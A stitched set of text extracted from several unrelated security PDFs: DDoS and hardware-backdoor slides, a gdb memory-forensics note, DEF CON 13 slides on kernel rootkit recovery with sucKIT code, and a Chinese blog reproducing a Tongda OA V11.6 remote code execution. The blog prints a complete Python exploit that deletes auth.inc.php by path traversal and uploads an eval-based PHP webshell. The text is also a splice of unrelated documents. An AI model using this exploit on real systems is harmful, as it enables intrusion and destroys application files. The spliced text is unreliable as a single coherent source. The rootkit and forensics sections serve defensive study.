architectures need to be adapted to meet this
new threat.
Stateful devices will collapse both due to persistent
scanning active and also when DDoS attacks are
launched.
• Implementing Security BCP’s will help
Using Security BCP’s will reduce the impact of internal
DDoS, in addition this will help to help to secure
networks against other security threats as well.
The Walking Dead, Season 6
Zombie Horde by Joakim Olofsson
Q&A / THANK YOU
32
Contact Information:
Steinthor Bjarnason
[email protected]
Jason Jones
[email protected]
33
REFERENCE SLIDES
34
HackingTeam RCS
• HackingTeam RCS is a well-known implant commonly sold to nation-state
organizations for monitoring / spying purposes
• HackingTeam has clients for both Mac and Windows Desktop systems
• Also clients for Android, iOS, Blackberry, WindowsPhone mobile OS
• Infection on mobile operating systems can be achieved via access
to an infected desktop
• Only jailbroken iOS devices were supported at the time
• Details and image courtesy of Kaspersky
https://securelist.com/blog/mobile/63693/hackingteam-2-0-the-story-goes-mobile/
35
DualToy & WireLurker
• WireLurker
• Intermediate infector targets MacOS instead of Windows
• Installs malicious / “risky” iOS apps on non-jailbroken iOS devices via side-loading
• Side-loading is a term used in reference to the process of installing an application
on a phone outside of the official App Store
• https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-
malware/
• DualToy
• Infects both Android and iOS devices via Windows hosts
• Installs ADB (Android Debug Bridge) and iTunes drivers to communicate with mobile
devices
• Installed Android apps are primarily riskware and adware
• Attempts to steal various device info from iOS devices in addition to iTunes username
and password
• More details at https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-
windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/
36
WM 1.0.0.7 Behavioral Characteristics
• 3 examples of overlap behavior for the windows spreader trojan that helped
locate more samples | pdf |
Untrustworthy
Hardware
And How to Fix It
PRESENT DAY.
PRESENT TIME ⌷
- ##FPGA, ##crypto and #openRISC on Freenode
- Shorne and Olofk from #openRISC (hardware and
cross-compilation help)
- PropellerGuy (Parallax Propeller open-source IO
interface)
- Briel Computers’ PockeTerm project
- Maitimo, International Finance, DC408
Greetz:
Thanks to Contributors:
- core modern open source algorithms for strong
cryptography have been heavy scrutinized,
tested and are readily available
- weak (DES, WEP, etc) and “black box” privacy
tools are becoming a thing of the past
- free and open source software has made it
easier to trust the privacy of computer
systems
Layer:01 Software
Let’s assume the software
(hypothetically) is 100% secure…
Where do we go from here?
- firmware is almost exclusively closed source
and controls almost all hardware devices and
functions
- due to their low-level nature, malicious
firmware persists across OS reinstallations
- (DEF CON 22: Summary of Attacks Against BIOS
and Secure Boot) "SPI flash is a really nice
place if you can get there"
Layer:02 Firmware
- hardware is almost always absolutely trusted
by the rest of the system, as it is not widely
considered an attack surface (especially in
the consumer space)
- NSA has been caught hardware backdooring Cisco
systems (Glenn Greenwald, "No Place to Hide"),
and DoD, Apple suspect adversarial nation
states may be doing this as well
- “if the hardware is compromised, then the
whole machine is compromised”
Layer:03 Hardware
hardware backdooring is real
I
- Management Engine runs on a
dedicated logic device within the
processor and runs proprietary
firmware and OS
- Intel ME has full network device
access with the ability to
intercept network traffic without
the CPU’s knowledge
- system access at the lowest level
- remains functional in the
background even if the system is
shut down but remains on standby
power
Layer:04 Intel Management Engine
Management Engine might sound like a feature reserved
for enterprise or server applications, but it
everywhere
- most of our knowledge comes from Igor
Skochinsky and a poorly secured company FTP
server ;)
Intel ME Technical Overview
- most of our knowledge comes from Igor
Skochinsky and a poorly secured company FTP
server ;)
- Runs ThreadX real-time OS (closed source,
proprietary)
Intel ME Technical Overview
- most of our knowledge comes from Igor
Skochinsky and a poorly secured company FTP
server ;)
- Runs ThreadX real-time OS (closed source,
proprietary)
- has its own MAC address and IP address for
out-of-band features
Intel ME Technical Overview
- most of our knowledge comes from Igor
Skochinsky and a poorly secured company FTP
server ;)
- Runs ThreadX real-time OS (closed source,
proprietary)
- has its own MAC address and IP address for
out-of-band features
- some code hidden in an inaccessible on-chip
ROM (decapping required to dump contents),
other parts share space with the firmware ROM
Intel ME Technical Overview
- most of our knowledge comes from Igor Skochinsky and
a poorly secured company FTP server ;)
- Runs ThreadX real-time OS (closed source,
proprietary)
- has its own MAC address and IP address for out-of-
band features
- some code hidden in an inaccessible on-chip ROM
(decapping required to dump contents), other parts
share space with the firmware ROM
- uses compression and encoding (LMZA, Huffman) to
thwart reverse engineering
Intel ME Technical Overview
- most of our knowledge comes from Igor Skochinsky and a poorly secured
company FTP server ;)
- Runs ThreadX real-time OS (closed source, proprietary)
- has its own MAC address and IP address for out-of-band features
- some code hidden in an inaccessible on-chip ROM (decapping required to
dump contents), other parts share space with the firmware ROM
- uses compression and encoding (LMZA, Huffman) to thwart reverse
engineering
- multiple versions of IME exist using ARC, SPARC V8 and other
instruction sets
Intel ME Technical Overview
Atmel Rad-hardened
Sparc V8
ARC
development
platform
“In short, it’s a reverse-engineer’s worst
nightmare.”
- hackaday.com
- effectively the perfect hardware backdoor,
although ME is marketed as an IT out-of-band
management tool
- present in all Intel systems since ~2008-2009,
with no practical way to disable or audit
- handful of exploits exist for ME, with the
number on the rise, requiring a firmware
update from the manufacturer
Note:- AMD also has a similar black-box
platform, called TrustZone / PSP, but it has
not been well documented / researched (they
haven’t made new CPUs until recently)
- If we’re discussing a worst case situation for
hardware security, just how far can we go?
Bonus Round: Speculation
- Hardware backdooring has been documented as
mentioned earlier is viewed as a viable threat by
other state actors (DoD)
- nation states could backdoor product manufacturing
with switched or additional components
- scarier yet, chips themselves (CPUs, chipsets,
NICs, ROMs) could be backdoored at the fabrication
center
What About Nation States?
- University of Michigan researchers documented
how easy it would be to hide malicious
features in processor designs at design time
and fabrication time, even by a single rouge
employee! (A2: Analog Malicious Hardware)
- entirely possible for nation states to
accomplish, and would lead to widespread and
total compromise while being virtually
undetectable
Credit: University of Michigan
Why can’t we do for hardware
what we did for software?
- open source OS is a good start, open source
firmware (Libreboot, etc) is better along with
open source hardware, “no blob” system is
ideal
- some OSHW devices like Novena laptop are very
close to this, but still require blobs for
full functionality
- this also still leaves users trusting the
chips
What can be done for peace-of-mind
private computation for critical
situations and down-right paranoid
users?
- Can we build a cost-effective low-
level solution that offers open source
software AND “open source logic” - a
processor whose designs are publicly
available for anyone to examine or
change?
- on our platform, Linux and all
programs run on the FPGA, so we know
exactly what the CPU is doing
- FPGAs are large blocks of
configurable digital logic
gates
- chips are designed in special
languages called HDLs (hardware
description languages)
- bitstream generators read these
files and program the gates
within the FPGA to function as
the HDL code dictates
- most commonly used for chip
design and testing, special
hardware applications
FPGA 101
An Alternative
- Built around a
cryptographic use case
- Runs GNU/Linux
- Fully open-source
hardware and software
down to the chip
designs of both major
components
- Parallax Propellor for
IO, OpenRISC OR1200
CPU running OS and
tools
Parallax
Propeller
open-source
MicroController
OpenRISC
OR1200
open-source
CPU
Propeller
ROM
Serial TFT
Keyboard
FPGA
ROM
block diagram:
OR1200
programming
header
115200 Baud
Serial
UART
SPI
PS/2
Let’s Run Linux on Open Source
Microprocessors!
One more thing(s)
- in a recent AMA on Reddit, AMD has publicly
stated that they are “strongly considering”
making the source code for their IME-
equivalent, PSP / Trustzone OPEN SOURCE
- Changes to the PocketTerm project for
integration with the SPI TFT we used will be
available on GitHub alongside scripts for
programming the DE0-nano
- Q/A
Further Reading and Additional Resources
- DEF CON 22: Summary of Attacks Against BIOS and Secure Boot: https://www.youtube.com/watch?v=QDSlWa9xQuA
- DEF CON XX: Hardware Backdooring is Practical: https://www.youtube.com/watch?v=8Mb4AiZ51Yk
- NSA shipment hijacking: http://www.theverge.com/2013/12/29/5253226/nsa-cia-fbi-laptop-usb-plant-spy
- Windows “golden keys” leaked: https://arstechnica.com/security/2016/08/microsoft-secure-boot-firmware-
snafu-leaks-golden-key/
- NSA Cisco implant: https://arstechnica.com/tech-policy/2014/05/photos-of-an-nsa-upgrade-factory-show-cisco-
router-getting-implant/
- Apple suspects hardware backdoors by state actors in server shipments: https://www.extremetech.com/extreme/
225524-apple-may-design-its-own-servers-to-avoid-government-snooping
- NSA deploys low level / hardware backdoors against intercepted consumer devices: http://
www.extremetech.com/computing/173721-the-nsa-regularly-intercepts-laptop-shipments-to-implant-malware-
report-says
- Summary of Intel ME: https://boingboing.net/2016/06/15/intel-x86-processors-ship-with.html
- Detailed IME breakdown by Libreboot team: https://libreboot.org/faq/#intel
- REcon 2014: Intel Management Engine Secrets (Igor Skochinsky): https://www.youtube.com/watch?v=4kCICUPc9_8
- Hackaday: The Trouble with Intel’s Management Engine: http://hackaday.com/2016/01/22/the-trouble-with-
intels-management-engine/
- Hackaday IME workarounds: https://hackaday.com/2016/11/28/neutralizing-intels-management-engine/
- A2: Malicious Analog Hardware: https://www.ieee-security.org/TC/SP2016/papers/0824a018.pdf
- Wired Summary of silicon backdooring: https://www.wired.com/2016/06/demonically-clever-backdoor-hides-
inside-computer-chip/
- Power-based side channel attacks: https://www.rsaconference.com/writable/presentations/file_upload/br-w03-
watt-me-worry-analyzing-ac-power-to-find-malware.pdf
- openRISC homepage: http://openrisc.io/
- getting started with openRISC: https://github.com/openrisc/tutorials
Copyright Disclaimer Under Section
107 of the Copyright Act 1976,
allowance is made for "fair use" for
purposes such as criticism, comment,
news reporting, teaching,
scholarship, and research. Fair use
is a use permitted by copyright
statute that might otherwise be
infringing. Non-profit, educational
or personal use tips the balance in
favor of fair use. | pdf |
1
内存取证
在HW排查发现可疑进程 python
使⽤find命令进⾏全盘搜索并没有发现相关⽂件," python "应该是运⾏在内存之中,但是我
们没有原⽂件,我们如何进⾏分析
使⽤ cat /proc/pid/maps 命令查看⽂件在内存之中的情况,可以看到⽂件被删除之前存
在与路径: /tmp/.ICE-unix/python
发现 /tmp/.ICE-unix/python 有nohup⽂件,查看nohup.out⽂件并没有发现什么线索
现在没有原⽂件,只有⼀个进程,我们可以通过使⽤gdb把内存dump出来进⾏分析
然后就是gdb命令(我也不知道该dump多少,dump⼀⼤块内存)
Bash
复制代码
gdb attach 14775
1
2
使⽤IDA发现所谓的 python ⽂件是⼀个frp代理程序
寻找解密函数
使⽤gdb分析在内存中成功还原攻击者IP
Bash
复制代码
dump memory /root/memory.dump 0xc84da000 0xc8941000
1 | pdf |
1
Julian Grizzard
DEFCON 13
Surgical Recovery from
Kernel-Level Rootkit Installations
Linux Based Systems
Julian Grizzard
July 2005
DEFCON THIRTEEN
2
Julian Grizzard
DEFCON 13
Latest Slides and Tools
PLEASE DOWNLOAD THE LATEST SLIDES AND TOOLS
[ Latest slides available ]
http://www.ece.gatech.edu/research/labs/nsa/presentations/dc13_grizzard.pdf
[ Latest system call table tools ]
http://www.ece.gatech.edu/research/labs/nsa/sct_tools.shtml
[ Latest spine architecture work ]
http://www.ece.gatech.edu/research/labs/nsa/spine.shtml
3
Julian Grizzard
DEFCON 13
Problem
What does a rootkit do?
• Retain Access
– Trojan sshd client with hard coded user/pass for root
access
– Initiate remote entry by specially crafted packet
stream
• Hide Activity
– Hide a process including resource usage of process
– Hide malicious rootkit kernel modules from lsmod
4
Julian Grizzard
DEFCON 13
Most Widely Accepted Solution
Format and Reinstall
5
Julian Grizzard
DEFCON 13
Monolithic Operating System
6
Julian Grizzard
DEFCON 13
Kernel Space
7
Julian Grizzard
DEFCON 13
User Space
8
Julian Grizzard
DEFCON 13
Microkernel Operating System
9
Julian Grizzard
DEFCON 13
Microkernel Operating System
10
Julian Grizzard
DEFCON 13
Microkernel Operating System
11
Julian Grizzard
DEFCON 13
Intel Descriptor Privilege Level
•
Level 3
– Minimal hardware access
– User space processes run at
level 3
•
Level 2
– Limited hardware access
– N/A in Linux
•
Level 1
– Limited hardware access
– N/A in Linux
•
Level 0
– Unlimited hardware access
– Kernel space threads run at
level 0
Kernel Space
User Space
12
Julian Grizzard
DEFCON 13
Testing Privilege Level - User (R3)
#include <stdio.h>
#include <stdint.h>
int main()
{
uint16_t cs_reg;
asm("mov %%cs,%0" : "=m" (cs_reg));
cs_reg = cs_reg & 0x0003;
printf("ring: %d\n", cs_reg);
return 0;
}
13
Julian Grizzard
DEFCON 13
Testing Privilege Level - User (R3)
14
Julian Grizzard
DEFCON 13
Testing CPL - Kernel (R0)
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
static int __init get_cpl_init(void)
{
uint16_t cs_reg;
asm("mov %%cs,%0" : "=m" (cs_reg));
cs_reg = cs_reg & 0x0003;
printk(KERN_ALERT "ring: %d\n", cs_reg);
return 0;
}
static void __exit get_cpl_exit(void)
{
}
module_init(get_cpl_init);
module_exit(get_cpl_exit);
15
Julian Grizzard
DEFCON 13
Testing CPL - Kernel (R0)
16
Julian Grizzard
DEFCON 13
User-Level Rootkit Attacks
Modify/replace system binaries
e.g. ps, netstat, ls, top, passwd
17
Julian Grizzard
DEFCON 13
User-Level Rootkit Attacks
Modify/replace system binaries
e.g. ps, netstat, ls, top, passwd
18
Julian Grizzard
DEFCON 13
Kernel-Level Rootkit Attacks
Modify running kernel code and data structures
19
Julian Grizzard
DEFCON 13
Example 1 (System Call Table)
20
Julian Grizzard
DEFCON 13
0x80ith IDT Entry Lookup
21
Julian Grizzard
DEFCON 13
System Call Handler
22
Julian Grizzard
DEFCON 13
System Call Lookup
23
Julian Grizzard
DEFCON 13
System Call Executes
24
Julian Grizzard
DEFCON 13
Attack Points
25
Julian Grizzard
DEFCON 13
Manual Recovery Algorithm
1)
Copy clean system calls to kernel memory
(get from kernel image with modified gdb)
2)
Create new system call table
3)
Copy system call handler to kmem (set new
SCT)
4)
Query the idtr register (interrupt table)
5)
Set 0x80ith entry to new handler
26
Julian Grizzard
DEFCON 13
Copying Kernel Functions
• Some trickery involved with algorithm
• x86 code has call instructions with a
relative offset parameter
• Could recompile the code
• Chose to recompute relative offset and
modify the machine code
27
Julian Grizzard
DEFCON 13
/dev/kmem Details from SucKIT
• SucKIT accesses kernel memory from
user space
• Redirects entire system call table
• How does sucKIT find the system call
table?
• How does sucKIT allocate kernel
memory?
28
Julian Grizzard
DEFCON 13
Find System Call Handler
struct idtr idtr;
struct idt idt80;
ulong old80;
/* Pop IDTR register from CPU */
asm("sidt %0" : "=m" (idtr));
/* Read kernel memory through /dev/kmem */
rkm(fd, &idt80, sizeof(idt80), idtr.base +
0x80 * sizeof(idt80));
/* Compute absolute offset of
* system call handler for kmem
*/
old80 = idt80.off1 | (idt80.off2 << 16);
29
Julian Grizzard
DEFCON 13
Find System Call Handler
struct idtr idtr;
struct idt idt80;
ulong old80;
/* Pop IDTR register from CPU */
asm("sidt %0" : "=m" (idtr));
/* Read kernel memory through /dev/kmem */
rkm(fd, &idt80, sizeof(idt80), idtr.base +
0x80 * sizeof(idt80));
/* Compute absolute offset of
* system call handler for kmem
*/
old80 = idt80.off1 | (idt80.off2 << 16);
30
Julian Grizzard
DEFCON 13
Find System Call Handler
struct idtr idtr;
struct idt idt80;
ulong old80;
/* Pop IDTR register from CPU */
asm("sidt %0" : "=m" (idtr));
/* Read kernel memory through /dev/kmem */
rkm(fd, &idt80, sizeof(idt80), idtr.base +
0x80 * sizeof(idt80));
/* Compute absolute offset of
* system call handler for kmem
*/
old80 = idt80.off1 | (idt80.off2 << 16);
31
Julian Grizzard
DEFCON 13
Find System Call Handler
struct idtr idtr;
struct idt idt80;
ulong old80;
/* Pop IDTR register from CPU */
asm("sidt %0" : "=m" (idtr));
/* Read kernel memory through /dev/kmem */
rkm(fd, &idt80, sizeof(idt80), idtr.base +
0x80 * sizeof(idt80));
/* Compute absolute offset of
* system call handler for kmem
*/
old80 = idt80.off1 | (idt80.off2 << 16);
32
Julian Grizzard
DEFCON 13
Kmalloc as a System Call (sucKIT)
#define rr(n, x) ,n ((ulong) x)
#define __NR_oldolduname 59
#define OURSYS __NR_oldolduname
#define syscall2(__type, __name, __t1, __t2) \
__type __name(__t1 __a1, __t2 __a2) \
{ \
ulong __res; \
__asm__ volatile \
("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##__name) \
rr("b", __a1) \
rr("c", __a2)); \
return (__type) __res; \
}
#define __NR_KMALLOC OURSYS
static inline syscall2(ulong, KMALLOC, ulong, ulong);
33
Julian Grizzard
DEFCON 13
Demos
System Call Table Tools
Demonstration
34
Julian Grizzard
DEFCON 13
System Calls Used for Recovery
• Using /dev/kmem
– sys_open, sys_read, sys_write
• Using kernel module
– sys_create_module, sys_init_module
Problem: system call table has been
redirected by a rootkit
35
Julian Grizzard
DEFCON 13
Solution
• Intrusion Recovery System (IRS)
– Use spine architecture to minimize chance of
rootkit attack
– IRS capable of verifying integrity of system
– Contains copy of known good state for entire
system (including kernel) in isolated area
called statehold
36
Julian Grizzard
DEFCON 13
Spine - Based on Microkernel
37
Julian Grizzard
DEFCON 13
Spine - Based on Microkernel
20,000 lines of code - small
38
Julian Grizzard
DEFCON 13
L4 System Calls (Fiasco)
• 9 IPC Calls
– l4_ipc_call, l4_ipc_receive
– l4_ipc_reply_and_wait
– l4_ipc_send_deceiting, l4_ipc_reply_deciting_and_wait
– l4_ipc_send, l4_ipc_wait
– l4_nchief
– l4_fpage_unmap
• 5 Thread calls
– l4_myself
– l4_task_new
– l4_thread_ex_regs
– l4_thread_schedule
– l4_thread_switch
39
Julian Grizzard
DEFCON 13
Spine Architecture
40
Julian Grizzard
DEFCON 13
Spine Architecture - Microkernel
Use Fiasco L4 implementation
41
Julian Grizzard
DEFCON 13
Spine Architecture - Guest
L4Linux runs on top of Fiasco
42
Julian Grizzard
DEFCON 13
Spine Architecture - Processes
User processes run on L4Linux
43
Julian Grizzard
DEFCON 13
Spine Architecture - Separation
Only Fiasco runs in kernel mode
44
Julian Grizzard
DEFCON 13
Spine Architecture - IRS
Component of IRS at each level
45
Julian Grizzard
DEFCON 13
Memory Hierarchy Detail
46
Julian Grizzard
DEFCON 13
Memory Hierarchy Detail
47
Julian Grizzard
DEFCON 13
Memory Hierarchy Detail
48
Julian Grizzard
DEFCON 13
Spine Architecture - Attacking
49
Julian Grizzard
DEFCON 13
Example 2 (VFS - /proc)
50
Julian Grizzard
DEFCON 13
Example 2 - Sys Call Uses VFS
51
Julian Grizzard
DEFCON 13
Example 2 - /proc Filesystem
52
Julian Grizzard
DEFCON 13
Example 2 - File Operations
53
Julian Grizzard
DEFCON 13
Example 2 - Read Directory
54
Julian Grizzard
DEFCON 13
Example 2 - Attacking
55
Julian Grizzard
DEFCON 13
Recovery Methods
•
Manual methods similar to SCT work
•
Generally, consistency checking on function
pointers and hashing of execution code works
•
Must maintain a good copy of the known good
state in order to repair
•
IRS can do it automatically
56
Julian Grizzard
DEFCON 13
Demos
Intrusion Recovery System
Demonstration
57
Julian Grizzard
DEFCON 13
Limitations and Conclusions
• Can an attacker install a microkernel-level
rootkit?
• What if attacker has physical access?
• There is no be all end all solution!
However, an IRS can make systems more
reliable.
58
Julian Grizzard
DEFCON 13
Thanks!
• Henry Owen
• John Levine
• Sven Krasser
• Greg Conti
• Jonathan Torian
• Lawrence Phillips
• Jessica Frame
• Andrew Davenport
• Many more…
59
Julian Grizzard
DEFCON 13
Links
[ Network and Security Architecture website ]
http://www.ece.gatech.edu/research/labs/nsa/index.shtml
[ Georgia Tech Information Security Center ]
http://www.gtisc.gatech.edu/
[ Fiasco project ]
http://os.inf.tu-dresden.de/fiasco/
[ Xen ]
http://www.cl.cam.ac.uk/Research/SRG/netos/xen/
[ Samhain Labs ]
http://la-samhna.de
[ Chkrootkit ]
http://www.chkrootkit.org
[ DaWheel, “So you don’t have to reinvent it!” ]
http://www.dawheel.org
60
Julian Grizzard
DEFCON 13
Questions?
Starter Questions:
1. How many have personally dealt
with recovery from a rootkit?
2. Has anyone seen any rootkits
that use direct memory access?
3. Has anyone ever cleaned a system
infected with a rootkit without reinstalling?
Julian Grizzard
grizzard AT ece.gatech.edu
61
Julian Grizzard
DEFCON 13
Additional Slides
Additional Slides Provided
Beyond this Point
62
Julian Grizzard
DEFCON 13
User-Level versus Kernel-Level
• User-Level
– Modify/replace system binaries
– e.g. ps, netstat, ls, top, passwd
• Kernel-Level
– Modify/replace kernel process
– e.g. system call table
63
Julian Grizzard
DEFCON 13
Additional Malware Functionality
• Information harvesting
– Credit cards
– Bank accounts
• Resource usage
– Spam relaying
– Distributed denial of service
64
Julian Grizzard
DEFCON 13
Entry Redirection
Original read system
call. No longer
pointed to by SCT.
Trojaned read
system call. Active
SCT points to it.
65
Julian Grizzard
DEFCON 13
Entry Overwrite
System call code
overwritten; SCT still
intact
66
Julian Grizzard
DEFCON 13
Table Redirection
Original SCT
intact
Original system
calls intact
Handler points to
Trojan table
67
Julian Grizzard
DEFCON 13
History of Kernel-Level Rootkits
• Heroin – October 1997
– First public LKM
• Knark – June 1999
– Highly popular LKM
• SucKIT – December 2001
– First public /dev/kmem entry
• Adore-ng 0.31 – January 2004
– Uses VFS redirection; works on Linux 2.6.X
68
Julian Grizzard
DEFCON 13
Kernel-Level Rootkit Targets
• System call table
• Interrupt descriptor table
• Virtual file system layer
• Kernel data structures
69
Julian Grizzard
DEFCON 13
Kernel Entry
• Linux kernel module (LKM)
• /dev/kmem, /dev/mem, /dev/port
• Direct memory access (DMA)
• Modify kernel image on disk
70
Julian Grizzard
DEFCON 13
System Call Table Modifications
• System calls are the main gateway from
user space to kernel space
• Most commonly targeted kernel structure
• Can redirect individual system calls or the
entire table
71
Julian Grizzard
DEFCON 13
Example Kernel-Level Rootkits
VFS Redirection
Module
adore-ng
SCT Table Redirection
kmem
r.tgz
SCT Table Redirection
kmem
zk
SCT Table Redirection
kmem
sucKIT
SCT Entry Redirection
Module
adore
SCT Entry Redirection
Module
knark
SCT Entry Redirection
Module
heroin
Modification
Kernel Entry
Rootkit
72
Julian Grizzard
DEFCON 13
System Call Table Tools
• Developed tools that can query the state
of the system call table and repair it
• Tools based on sucKIT source code and
work from user space
• Algorithm to recover from rootkits is
similar to algorithm used by rootkits
73
Julian Grizzard
DEFCON 13
Virtual Machines/Hypervisors
• VMware
• User Mode Linux
• Xen
• L4
74
Julian Grizzard
DEFCON 13
History of Microkernels
• Mach project started at CMU (1985)
• QNX
• Windows NT
• LynxOS
• Chorus
• Mac OS X
75
Julian Grizzard
DEFCON 13
Microkernel Requirements
• Tasks
• IPC
• I/O Support
That’s it!
76
Julian Grizzard
DEFCON 13
L4 IPC’s
• Fast IPCS
• Flexpages
• Clans and chiefs
• System calls, page faults are IPC’s
77
Julian Grizzard
DEFCON 13
L4 I/O (from Fiasco lecture slides)
• Hardware interrupts: mapped to IPC
– Special thread id for interrupts
– IPC sender indicates interrupt source
– Kernel provides no sharing support, one thread per interrupt
– Malicious driver could potentially block all interrupts if given
access to PIC
– Cli/sti only allowed in kernel and trusted servers
• I/O memory and I/O ports: flexpages
• Missing kernel feature: pass interrupt association
– Security hole
• I/O port access
• DMA - big security risk
78
Julian Grizzard
DEFCON 13
Rmgr (lecture slides)
• Resources --- serves page faults
– Physical memory
– I/O ports
– Tasks
– Interrupts
79
Julian Grizzard
DEFCON 13
Booting the System (lecture slides)
• Modified grub
• Multi-boot specification
• Rmgr, sigma0, root task (rmgr II), …
• IDT
– General Protection Exception #13
– Page Fault #14
– Divide by zero #0
– Invalid opcode #6
– System calls Int30 IPC
• Global Descriptor Table (GDT) vs. Local Descriptor
Table (LDT)
80
Julian Grizzard
DEFCON 13
L4 Security Problems?
• Passing interrupt association
• Direct memory access
• Fill up page mapping database
• Kernel accessible on disk
• Cli/sti
• A few more…
81
Julian Grizzard
DEFCON 13
Spine Architecture Details
• Uses L4 Fiasco microkernel
• L4Linux runs on top of microkernel
• User tasks run on L4Linux
• Intrusion recovery system consists of
levels 0 through 3
82
Julian Grizzard
DEFCON 13
L4Linux
• Port of Linux kernel to L4 architecture
• “paravirtualization” vs. pure virtualization
• Linux kernel runs in user space
• Binary compatible
83
Julian Grizzard
DEFCON 13
Intrusion Recovery System
• Capable of recovering from rootkit
installations
• Maintain a copy of known good state to
verify system integrity and repair if needed
• Must be integral part of operating system
84
Julian Grizzard
DEFCON 13
IRS Cont…
• Intrusion detection system is part of IRS
– Must be able to detect that an intrusion has occurred
in order to recover from it
• Most difficult part of problem is verifying system
integrity
– How to verify data structures, config files, etc.
• Another important challenge is verifying integrity
of IRS itself
– Malware has been known to disable IDS’s
85
Julian Grizzard
DEFCON 13
Multi-Level IRS Reasoning
• Difficult to monitor state of entire system
from one vantage point
• Difficulty comes in bridging the semantic
gap between layers of the system
• We use a multi-level approach
86
Julian Grizzard
DEFCON 13
Multi-Leveled IRS Detail
• L3 - verify file system state and repair if needed
• L2 - kernel module to verify integrity of L4Linux
and L3 and repair if needed
• L1 - microkernel modifications to verify state of
L2 and repair if needed; also provides secure
storage for known good state
• L0 - hardware support for maintaining isolation
and verifying L1 (more hardware needed) | pdf |
【漏洞⽇记】深X服还没完,通达OA⼜搞RCE漏洞【OA V11.6】
Agan '
338
收藏 1
原⼒计划
分类专栏: Web常⻅漏洞篇【免费】
⽂章标签: 通达OA RCE
2020-08-19 02:47:07
版权
当你的才华
还撑不起你的野⼼时
那你就应该静下⼼来学习
⽬录
0x01 通达OA V11.6 源码下载与安装
0x02 前⾔
0x03 复现漏洞
EXP 脚本
0x04 通达OA V11.5和V11.7 版本⽆法复现该漏洞过程
本次漏洞复现,只测试了三个版本:
通达 OA V11.7 (最新)
通达 OA V11.6
通达 OA V11.5
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
修复建议:升级⾄最新版本
PS:该漏洞影响很⼤,如果被成功利⽤后会删除OA所需要的php⽂件来绕过验证,
会对⽹站造成影响,建议渗透测试业务时,千万要让客户做系统备份或数据备份,很
容易出事... ...
请勿⽤作犯罪使⽤,⽹络不是法外之地,请珍惜⽣命,勿触犯法律... ...
你任何的动作,别⼈都知晓,⼈外有⼈,天外有天,且⾏且珍惜... ...
0x01 通达OA V11.6 源码下载与安装
通达OA V11.6 下载地址:http://www.kxdw.com/soft/23114.html
步骤1:运⾏安装包傻⽠式安装
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
步骤2:运⾏安装包傻⽠式安装
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
步骤3:运⾏安装包傻⽠式安装
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
步骤4:成功安装
0x02 前⾔
账号为:admin 密码为:空
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
先登录看看,密码为空,直接登录,样式是这样的
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
0x03 复现漏洞
EXP 脚本
EXP:直接打,直接写到⽹站根⽬录下,⽂件名为:_agan.php,菜⼑链接密码为:agan
1
import requests
2
3
target="http://192.168.159.137:8080/"
4
payload="<?php eval($_POST['agan']);?>"
5
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
6
input("Press enter to continue")
7
print("[*]Deleting auth.inc.php....")
8
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
直接利⽤上述代码即可,改⼀下你的URL地址即可
成功利⽤
10
11
print("[*]Checking if file deleted...")
12
url=target+"/inc/auth.inc.php"
13
page=requests.get(url=url).text
14
if 'No input file specified.' not in page:
15
print("[-]Failed to deleted auth.inc.php")
16
exit(-1)
17
print("[+]Successfully deleted auth.inc.php!")
18
print("[*]Uploading payload...")
19
21
requests.post(url=url,files=files)
22
url=target+"/_agan.php"
23
page=requests.get(url=url).text
24
if 'No input file specified.' not in page:
25
print("[+]Filed Uploaded Successfully")
26
print("[+]URL:",url)
27
else:
28
print("[-]Failed to upload file")
9
url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
20
files = {'FILE1': ('agan.php', payload)}
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
可以看到成功写⼊,先访问这个⽬录看看,是真实存在的
链接地址:http://192.168.159.137:8080/_agan.php
再去服务端看看⽹站源码,是否也存在?
明显是存在的,也写进去了
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
连接看看
成功连接
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
此时虽然拿到WebShell后,但OA 的⽂件已损坏,再次登录是这样的,猜测是通过删除auth.inc.php⽂件来写⼊
WebShell,导致引⽤的样式⽂件损坏
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
0x04 通达OA V11.5和V11.7 版本⽆法复现该漏洞过程
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
⽤之前的脚本再试试
V11.5和V11.7 服务端⽹站根⽬录下没写进去,看来没利⽤成功。
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
参考链接:
https://mp.weixin.qq.com/s/5ObQlLc3XQY3oXXHJKieyA
https://mp.weixin.qq.com/s/cr4Iqq3RfxnOzTqZWzGSAQ
虽然我们⽣活在阴沟⾥,但依然有⼈仰望星空!
显示推荐内容
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏 | pdf |
{Anthony Lai, Benson Wu, Jeremy Chiu},
Founder and Security Researcher, Xecure Lab
[email protected]
[email protected]
[email protected]
http://blog.xecure-lab.com
Chroot Security Group
http://www.chroot.org/
CHROOT 成立於西元2004年,是台灣一群專
業、優質又玉樹臨風的好孩子組成的。
(會員招募中,目前團報另有優惠)
Xecure Lab Team
Yes! We are all the good guys
Birdman
Benson
DarkFloyd
http://blog.xecure-lab.com
Bio
Jeremy Chiu (aka Birdman)
○
